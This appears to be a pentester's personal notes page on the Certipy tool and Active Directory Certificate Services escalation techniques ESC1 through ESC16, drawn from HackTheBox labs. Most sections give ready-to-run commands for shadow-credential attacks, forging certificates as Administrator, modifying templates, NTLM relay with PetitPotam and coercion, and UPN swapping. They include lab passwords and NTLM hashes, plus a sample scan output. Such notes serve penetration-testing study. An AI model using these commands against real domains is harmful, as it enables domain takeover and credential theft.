Table of Contents
Summery
Certipy is a tool for enumerating and exploiting Active Directory Certificate Services (AD CS). In pentesting, it helps you find certificate-template misconfigurations that may let you authenticate as another AD account, potentially a privileged one. It uses LDAP and LDAPS for communication.
Its main uses are discovering vulnerable templates and permissions, requesting certificates, and using obtained certificates for authentication - also shadow credentials.
Rule of thumb: Use this tool as the main one for ADCS enumeration and Shadow Credential attacks.
Commands
Scanning
certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.71.85 -stdout -vulnerable - Scan a host for ADCS vulnerabnilities. It dumps all data into the console
certipy-ad find -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.71.85 -stdout - Enumerates the whole ADCS
You can add -ldap-scheme ldap if it throws an error Connection reset by peer or similar. You can also add -enabled to show only available on CA templates to the specified user.
certipy-ad find -u john@tombwatcher.htb -p 'zaq1@WSX' -dc-ip 10.129.15.163 Alternatively, you can also run this command and check the given files for details.
I checked it manually and also ran cat 20260325042001_Certipy.txt | grep ESC to make sure that I found everything.
NTLM
certipy-ad find -u management_svc -hashes :a091c1832bcdd4677c28b5a6a1295584 -dc-ip 10.10.11.41 -stdout -vulnerable - Scan a just for ADCS vulnerabilities. Uses NTLM hash instead of normal credentials
Shadow Credentials
certipy-ad shadow auto -username judith.mader@certified.htb -password judith09 -account management_svc -target certified.htb -dc-ip 10.10.11.41 - Shadow credentials attack - gives target’s NTLM hash
certipy-ad shadow auto -username management_svc@certified.htb -hashes :a091c1832bcdd4677c28b5a6a1295584 -account ca_operator -target certified.htb -dc-ip 10.10.11.41 - Shadow credentials attack - gives target’s NTLM hash and also uses NTLM for authentication
Other
certipy-ad find - Enumerates AD CS: it discovers CAs, certificate templates, permissions, and potential ESC vulnerabilities.
certipy-ad req - Requests a certificate from a CA using a specified template. -template User selects the certificate template, while -ca specifies the CA.
certipy-ad auth - Uses an obtained .pfx certificate/private key to authenticate as the certificate’s identity, often obtaining a Kerberos TGT.
certipy-ad account read - Retrieves information about an AD account.
ESCs
Ceripy classifies all of ADCS’s vulnerabilities into ESCs (Enterprise Security Certificate). Although I provided a link to the official documentation about ESCs, here’s my attempt at explaining those ESCs that I already worked with.
ESC1
Summery
ESC1 is the first of a number of escalation attacks to ADCS. This one simply enabled you to pretend to be anyone else in a domain. You request a certificate and choose the identity inside of it like the Administrator. The CA trusts you and signs it, so you get a valid login as that user.
Requirements
EnabledisTrueClient AuthenticationisTrueEnrollee Supplies SubjectisTrueRequires Management ApprovalisFalseAuthorized Signatures Requiredis0
Exploitation
Try certipy-ad req -u '<USERNAME>'-p '<PASSWORD>' -dc-ip '<DC_IP>' -target '<CA HOSTNAME>' -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE_NAME>' -upn <DOMAIN_ADMIN> however it can fail, because Microsoft semi-patched this vulnerability. If this doesn’t work, try this one:
certipy-ad req -u '<USERNAME>'-p '<PASSWORD>' -dc-ip '<DC_IP>' -target '<CA HOSTNAME>' -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE_NAME>' -upn <DOMAIN_ADMIN> -sid <DOMAIN_ADMIN_SID>
References
Used in: Authority, EscapeTwo
0xdf write-up
Blog article
ESC2
Summery
This vulnerability takes adventage of a template that allows certificates for Any Purpose or has no EKU restrictions, giving the certificate broader uses than intended.
Requirements
- Any Purpose is True or Extended Key Usage is empty
- Enrollment Agent is True
- Your user or a group the user is a part of has enrolment rights for that template
Exploitation
- If the intended attack path for ESC2 is viable, simply follow the attack steps for ESC1.
- If the template is viable but does not have the
ENROLLEE_SUPPLIES_SUBJECTflag set, then use it as the requesting agent in ESC3.
References
Blog article
Another blog article
ESC3
Summery
ESC3 is when you can request a certificate for another user, letting you directly authenticate as them, like Administrator.
This vulnerability involves two AD CS certificate templates - let’s call them Template A and Template B. Template A allows us to obtain an Enrollment Agent certificate, which can be used to request certificates on behalf of other users. The vulnerability occurs when we can use this certificate to request a certificate for another user, such as Administrator, through Template B.
Requirements
- Template A needs to complete these requirements
Enrollment AgentisTrueExtended Key UsagecontainsCertificate Request Agent- Your user or a group the user is a part of has enrolment rights for that template
- Template B needs to complete these requirements
Client AuthenticationisTrue- Your target or a group the target is a part of has enrolment rights for that template
Exploitation
certipy-ad req -u <ATTACK USER> -p '<PASSWORD>' -target <DOMAIN> -ca '<CA NAME>' -template <TEMPLATE NAME>certipy-ad req -u <ATTACK USER> -p '<PASSWORD>' -target <DOMAIN> -ca '<CA NAME>' -template <TEMPLATE NAME> -on-behalf-of '<DOMAIN>\administrator' -pfx <ATTACK USER>.pfxcertipy-ad auth -pfx <ATTACK USER>.pfx -dc-ip <DC IP>
References
Used in: TombWatcher, Certificate
0xdf’s write-up
ESC4
Summery
ESC4 abuse is where a low privilege user possess permissions over a certificate template which could be used to make it vulnerable to other attacks such as ESC1 or ESC2. In theory, the templates could be modified to support any misconfiguration based attack but, the simplest would be to make it vulnerable to ESC1 and ESC2.
Changes required to a template to make it vulnerable to ESC1 attacks:
- Disable manage approval
- Disable authorized signatures
- Enable the flag
ENROLLEE_SUPPLIES_SUBJECTinmspki-certificate-name-flag - Set the
mspki-certificate-application-policyto be used for authentication, such asAny PurposeorClient Authentication
Requirements
- Access to an account that has at least one of the following permissions over a template:
Owner,Write Owner Principals,Write Property Principals,Write DACL Principals
Exploitation
certipy-ad template -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -template <TEMPLATE NAME> -save-configuration <TEMPLATE NAME>.json -write-default-configuration- Save the current configuration of a template, so it can be restored to its original form later. It also modifies the template to be vulnerable to ESC1.- Older versions of certipy (below 5.x) might prefer this format
certipy template -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -template <TEMPLATE NAME> -save-old.
- Older versions of certipy (below 5.x) might prefer this format
certipy-ad req -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -ca SECURITY-CA-CA -target-ip 10.10.10.2 -template <TEMPLATE NAME> -upn Administrator@security.local -sid S-1-5-21-13999771-2333344039-1820745628-500 -out cert- Perform the ESC1 attack against the template and grab the certificatecertipy-ad auth -pfx cert.pfx -username administrator -domain security.local -dc-ip 10.10.10.100- Use the generated pfx (cert.pfx) to grab the NTLM hash for the account
certipy template -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -template '<TEMPLATE NAME>' -configuration <TEMPLATE NAME>.json - Ensure to restore the original template configuration once this attack has been achieved
References
Used in: Sendai
Blog article
ESC6
Summery
ESC6 occurs when a Certificate Authority (CA) has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled in its configuration. This flag allows certificate requesters to specify arbitrary Subject Alternative Name (SAN) values. If Microsoft’s May 2022 security update for CVE-2022-26923 has not been applied, the CA may be vulnerable to privilege escalation.
Under these conditions, any certificate template that supports Client Authentication and is enrollable by low-privileged users becomes a potential attack vector. This makes ESC6 similar in effect to ESC1, as an attacker can request a certificate with a forged SAN, impersonating a privileged user. Even the default “User” template could be exploited in this manner, allowing a standard domain user to escalate to a domain administrator.
Requirements
User Specified SANisEnabled
Exploitation
certipy req -u '<ATTACK USER>' -p '<PASSWORD>' -dc-ip <DC IP> -ca <CA NAME> -template <TEMPLATE NAME> -upn Administrator@<DOMAIN>certipy auth -pfx <ATTACK USER>.pfx -username 'administrator' -domain '<DOMAIN>' -dc-ip <DC IP>
References
Blog article
ESC7
Summery
ESC7 occurs when access is obtained to a principal within the domain that has either of the following rights
- ManageCA (CA Manager)
- ManageCertificates (CA Officer)
ManageCA
The ManageCA right grants a principal the ability to modify a CA’s configuration, primarily through the ICertAdminD2::SetConfigEntry method. This method enables changes to the CA’s persisted data, including the Config_CA_Accept_Request_Attributes_SAN setting. This setting, a boolean value, controls whether the CA accepts request attributes, particularly those defining the Subject Alternative Name (SAN) for issued certificates.
Having this capability means an attacker could manipulate the EDITF_ATTRIBUTESUBJECTALTNAME2 flag, potentially enabling ESC6 attacks.
Manage Certificates
If we gain control over a principal with the ManageCertificates right on the CA, we can remotely approve pending certificate requests, effectively bypassing the CA certificate manager approval requirement.
This enables abuse of the default SubCA template, which has the EnrolleeSuppliesSubject flag enabled. While this template is typically restricted to Domain and Enterprise Administrators, leveraging the ManageCertificates right allows us to force approval of certificate requests from any user. This, in turn, facilitates escalation via ESC1.
Requirements
Access to a principal with ManageCA or ManageCertificates rights.
Exploitation
ManageCA exploitation path requires the ability to stop and restart the certsvc service on the Certificate Authority which would indicate generally that we would also need to have compromised the Certificate Authority with a privileged or local administrator user, therefor I will not cover it here as it’s unlikely.
echo y | certipy req -u 'user@security.local' -p 'Password123' -dc-ip 10.10.10.100 -ca 'SECURITY-CA-CA' -target-ip 10.10.10.2 -template ESC1 -upn 'Administrator@security.local' -sid S-1-5-21-13999771-2333344039-1820745628-500- Use an unprivileged user to perform the request, ensuring we save the private keycertipy ca -u 'moe@security.local' -p 'Password123' -dc-ip 10.10.10.100 -ca 'SECURITY-CA-CA' -target-ip 10.10.10.2 -issue-request 61- Using the other user with the “Manage Certificate” rights you can approve the previous certificate requestcertipy auth -pfx administrator.pfx -username 'administrator' -domain 'security.local' -dc-ip 10.10.10.100- Once approved, you can use this to authenticate with the certificate and obtain the domain administrator NTLM hash
There is also ManageCertificates attack path for Windows, but similarly to ManageCA I will not cover it here. If you need it, you can read on both of these in the blog article below.
References
Blog article
ESC8
Summery
ESC8 describes a privilege escalation vector where an attacker performs an NTLM relay attack against an AD CS HTTP-based enrollment endpoint. These web-based interfaces provide alternative methods for users and computers to request certificates. Basically, if I can get the machine to authenticate back to me, I’ll relay that auth to ADCS and get a certificate as the machine account.
There are apperently two ways to exploit this ESC - Windows way and Linux way - but I always use the Linux way.
Requirements
ESC8: Web Enrollment is enabled over HTTPor similar.HTTP EnabledisTrueorHTTPS EnabledisTruewithChannel Binding (EPA)isFalsetoo.
Exploitation
- Firstly, you need to create a DNS record for Kerberos, that looks like the DC’s hostname. Here is the
bloodyADcommand for it -bloodyAD -u <ATTACK USER> -p <PASSWORD> -d <DOMAIN> -k --host <DC FQDN> add dnsRecord <DC NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA <TARGET IP>. The long name of the dnsrecord is the hostname + an almost empty, marshaledCREDENTIAL_TARGET_INFOMATIONstructure. This blob is there to make Windows API think this is a different name than DC’s hostname and also hold no value so after it is decoded, DC thinks it is it’s own hostname. - Next, we start the
certipyrelay to listen on the SMB port withsudo /home/pride/.local/bin/certipy relay -target http://<DC FQDN> -template <TEMPLATE NAME>. - Then, with the command
netexec smb <DC FQDN> -u <ATTACK USER> -p <PASSWORD> -k -M coerce_plus -o LISTENER=<DC NAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotamwe try to make the DC to connect to ourcertipyrelay. If this doesn’t work, you can try the original PetitPotam withpython3 PetitPotam.py -u <ATTACK USER> -p <PASSWORD> -k -d <DOMAIN> -dc-ip <DC IP> <ATTACK IP> <DC IP> -pipe all. - This create a
<DC NAME>.pfxcertificate, with which I can auth as the computer account (not the Administrator himself) using certipy likecertipy auth -pfx '<DC NAME>.pfx' -dc-ip <DC IP>. This in turn, gives me the TGT and the NTLM for the machine account. As the DC machine account is still very highly privileged we can do a Pentesting/The Grimoire/Techniques/DCSync and dump hashes.
References
Used in: VulnCicada
0xdf write-up
Blog article
Linux way
Windows way
ESC9
Summery
The attack’s idea is to change the userPrincipalName (or UPN) of the second account to Administrator. This is explicitly not Administrator@domain, as that would conflict with the legit administrator account.
When I request a certificate as the second account, the server will return one with the UPN Administrator and no SID.
When I use this certificate, Windows is nice enough to assume that domain is it’s domain, and authenticate as administrator.
Requirements
StrongCertificateBindingEnforcementnot set to2(default:1) orCertificateMappingMethodscontainsUPNflagEnrollment FlagcontainsNoSecurityExtension- Certificate contains theCT_FLAG_NO_SECURITY_EXTENSIONflag in themsPKI-Enrollment-FlagvalueClient AuthenticationisTrue- Certificate specifies any client authentication EKU- The attacker also needs to have access to an account that has
GenericWriteover the another account or higher.
Exploitation
certipy-ad account update -u <ATTACK USER> -hashes :<ATTACK NTLM> -user <TARGET USER> -upn Administrator -dc-ip <DC IP>- Abuse access to Attack User account that has at leastGenericWriteover Target User, using it to change it’suserPrincipalNamejust “Administrator”certipy-ad req -u <TARGET USER> -hashes :<ATTACK NTLM> -ca <COMMON AUTHORITY> -template <TEMPLATE NAME> -dc-ip <DC IP>- Request a certificate as Target User using the vulnerable template. (Common Authority can be found in Certipy’s output)certipy-ad account update -u <ATTACK USER> -hashes :<ATTACK NTLM> -user <TARGET USER> -upn <TARGET USER>@<DOMAIN> -dc-ip <DC IP>- Cleanup by Target User’s upn back to what it was. This is not optional and it’s required for the attack to workcertipy-ad auth -pfx administrator.pfx -dc-ip <DC IP> -domain <DOMAIN>- Use the certificate to get the actual administrator’s NTLM hash
References
Used in: Pentesting/HackTheBox/Machines/Raw/Certified
0xdf’s writ-up
Blog article
ESC11
Summery
ADCS exposes an RPC “MS-ICPR” endpoint for certificate enrollment. The RPC protocol allows each interface to define its NTLM signature management policy. In this case, the flag IF_ENFORCEENCRYPTICERTREQUEST determines if a signature check is performed. As the RPC protocol supports NTLM authentication, when there are no signature checks performed the endpoint is vulnerable (similar in concept to SMB NTLM relaying when SMB signing is disabled).
Default ADCS settings enforce the signature check. However, in some cases this may be disabled in ADCS in ensure compatability with legacy clients such as Windows Server 2012 and 2008. When this check is enabled, it becomes possible to perform a NTLM relay attack over the RPC endpoint.
Requirements
Enforce Encryption for RequestsisDisabled
Exploitation
Ensure to select the correct template based on the machine account you are attempting to relay authentication to the web enrollement server for:
- DomainControllers ->
-template DomainController(You likely want this one by default) - Machine Accounts ->
-template Machine
certipy relay -target "rpc://10.10.10.2" -ca "SECURITY-CA-CA" -template DomainController- Run certipy, targeting the Certificate Authority and using the required template.coercer coerce -l 10.10.10.4 -t 10.10.10.100 -d security.local -u moe -p Password123- Then force coertion with coercer, selecting the intended target
References
Blog article
ESC15
Summery
“ESC15 is a misconfiguration in ADCS where a certificate template (usually old schema v1) allows a user to request a certificate and unproperly validate supplied extensions, so you can add something like “Client Authentication” even if the template wasn’t meant for login. This let’s you request a certificate for another user (like Administrator) and then authenticate as them. It gives you domain-level access, which you can turn into a shell afterward.” - It’s also called CVE-2024-49019 or “EKUwu”.
In practice it’s simple. You send an “agent” certificate to prove to CA that you can get certs on behalf of others. Then you request a certificate for an administrator and just use it.
Requirements
Enrollee Supplies SubjectisTrueSchema Versionis1
Exploitation
- Request a certificate containing the Certificate Request Agent application policy. This certificate acts as the credential used to request certificates on behalf of other users.
certipy req -u <ATTACK USER> -p '<PASSWORD>' -dc-ip <DC IP> -target <DC FQDN> -ca <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -application-policies 'Client Authentication' - Use the “agent” certificate to request a certificate on behalf of a target privileged user.
certipy req -u <ATTACK USER> -p '<PASSWORD>' -dc-ip <DC IP> -target <DC FQDN> -ca <CA> -template <TEMPLATE> -pfx '<ATTACK USER>.pfx' -on-behalf-of '<DOMAIN>\Administrator' - And the last step is to authenticate as the privileged user using the “on-behalf-of” certificate like so -
certipy auth -pfx '<ATTACK USER>.pfx' -dc-ip '<DC IP>'
References
Used in: TombWatcher
0xdf’s write-up
ESC16
Summery
This vulnerability occurs when the CA itself is globally configured to disable the inclusion of the szOID_NTDS_CA_SECURITY_EXT security extension for all certificates it issues. This extension is responsible for “strong certificate mapping”, and without it, you can modify a user such that it can get an certificate as any user.
Requirements
Disabled Extensionslist for the CA contains the OID1.3.6.1.4.1.311.25.2(szOID_NTDS_CA_SECURITY_EXT)Remarks ESC16: Other prerequisiteshighlights that exploitability often depends on the DC’s certificate binding mode or other vulnerabilities like ESC6
Exploitation
- Read the target account’s attributes. Check its current UPN before modifying it -
certipy-ad account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc read - Change the target account’s UPN to the privileged account’s username - this requires
GenericWriteor higher -certipy-ad account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc -upn administrator update certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User- Request a certificate using the controlled account and an eligible certificate template -
certipy-ad account -u winrm_svc@fluffy.htb -hashes 33bd09dcd697600edf6b3a7af4875767 -user ca_svc -upn ca_svc@fluffy.htb update - Restore the original UPN after requesting the certificate -
certipy account -u <ATTACK USER> -hashes <NTLM> -user <TARGET USER> -upn <TARGET USER>@<DOMAIN> update - Authenticate with the certificate to request a Kerberos TGT and attempt to retrieve the privileged account’s NT hash -
certipy-ad auth -dc-ip 10.10.11.69 -pfx administrator.pfx -u administrator -domain fluffy.htb
References
Used in: Fluffy
0xdf’s write-up
Example
kali@kali (~/htb/machines/certified): certipy-ad find -u ca_operator -hashes :b4b86f45c6018f1b664f70805f45d8f2 -dc-ip 10.129.231.186 -stdout -vulnerable
Certipy v5.1.0 - by Oliver Lyak (ly4k)
<SNIP>
Certificate Authorities
0
CA Name : certified-DC01-CA
DNS Name : DC01.certified.htb
Certificate Subject : CN=certified-DC01-CA, DC=certified, DC=htb
Certificate Serial Number : 36472F2C180FBB9B4983AD4D60CD5A9D
Certificate Validity Start : 2024-05-13 15:33:41+00:00
Certificate Validity End : 2124-05-13 15:43:41+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : CERTIFIED.HTB\Administrators
Access Rights
ManageCa : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
ManageCertificates : CERTIFIED.HTB\Administrators
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Enroll : CERTIFIED.HTB\Authenticated Users
Certificate Templates
0
Template Name : CertifiedAuthentication
Display Name : Certified Authentication
Certificate Authorities : certified-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
SubjectRequireDirectoryPath
Enrollment Flag : PublishToDs
AutoEnrollment
NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1000 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2024-05-13T15:48:52+00:00
Template Last Modified : 2024-05-13T15:55:20+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFIED.HTB\operator ca
CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFIED.HTB\Administrator
Full Control Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Owner Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Dacl Principals : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
Write Property Enroll : CERTIFIED.HTB\Domain Admins
CERTIFIED.HTB\Enterprise Admins
[+] User Enrollable Principals : CERTIFIED.HTB\operator ca
[!] Vulnerabilities
ESC9 : Template has no security extension.
[*] Remarks
ESC9 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
References
Connected: Certificates, Active Directory Certificate Services (ADCS)
Used in: Fluffy, Escape, Manager, Timelapse, TombWatcher, VulnCicada, Certified
External:
Certipy wiki - Certipy’s documentation for ESCs, essential read and reasource for working with it.
Pentest Everything - Great resource for working with all kinda of ESCs